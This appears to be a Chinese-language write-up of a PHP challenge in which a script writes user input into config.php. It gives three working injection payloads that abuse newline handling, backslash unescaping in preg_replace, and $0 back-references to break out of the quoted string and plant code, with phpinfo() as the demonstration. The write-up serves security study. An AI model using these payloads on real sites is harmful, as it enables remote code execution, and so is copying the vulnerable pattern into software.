phithon師父在小蜜圈里放了一個經典的配置文件寫入問題漏洞.
<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);
config.php 的內容如下:
<?php
$option='test';
要求是要getshell,這個場景十分經典,常用在修改配置文件寫入的時候。
此處不存在之前說的那個配置文件中用的是”雙引號”引起任意代碼執行的問題,這這里面用的是單引號,而且 addslashes()處理過了,看似很安全,但是對於腦子里有個黑洞的搞安全的人來講,這個還真是有問題的.
方法一,利用換行符來繞過正則匹配的問題
可以看到正則匹配的是以下內容:
$option='任意內容'
任意內容里面是可以包含轉移符 \ 的,所以我們利用下面的方法:
http://127.0.0.1/index.php?option=a';%0aphpinfo();//
http://127.0.0.1/index.php?option=a
執行完第一個之后,config.php中的內容為:
<?php
$option='a\';
phpinfo();//';
但是這樣並沒有辦法執行phpinfo(),因為我們插入的 單引號 被轉移掉了,所以phpinfo()還是在單引號的包裹之內.
我們在訪問下面這個
http://127.0.0.1/index.php?option=a
因為正則 .* 會匹配行內的任意字符無數次.所以 \ 也被認為是其中的一部分,也會被替換掉,執行完之后,config.php中的內容為:
<?php
$option='a';
phpinfo();//';
轉義符就被替換掉了,就成功的getshell.
方法二,利用 preg_replace函數的問題:
用preg_replace()的時候replacement(第二個參數)也要經過正則引擎處理,所以正則引擎把\\
轉義成了\
也就是說如果字符串是\\\'
,經過 preg_replace()的處理,就變為 \\'
,單引號就逃出來了.
所以payload如下:
http://127.0.0.1/index.php?option=a\';phpinfo();//
config.php變為:
<?php
$option='a\\';phpinfo();//';
道理就是 a\';phpinfo();//
經過 addslashes()處理之后,變為a\\\';phpinfo();//
然后兩個反斜杠被preg_replace變成了一個,導致單引號逃脫.
方法三, 利用 preg_replace() 函數的第二個參數的問題
先看官方對preg_replace()函數的描述manual
函數原型:
xed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
對replacement的描述.
replacement中可以包含后向引用\\n
或(php 4.0.4以上可用)$n,語法上首選后者。 每個 這樣的引用將被匹配到的第n個捕獲子組捕獲到的文本替換。 n 可以是0-99,\\0
和$0代表完整的模式匹配文本。
所以我們可以用:
http://127.0.0.1/test/ph.php?option=;phpinfo();
http://127.0.0.1/test/ph.php?option= 或者 http://127.0.0.1/test/ph.php?option=$0
執行第一條后config.php的內容為:
<?php
$option=';phpinfo();';
再執行第二條后config.php的內容為:
<?php
$option='$option=';phpinfo();';';
剛好閉合掉了前后的兩個單引號中間的逃脫出來了.想出這個辦法的人,思路真是可以的.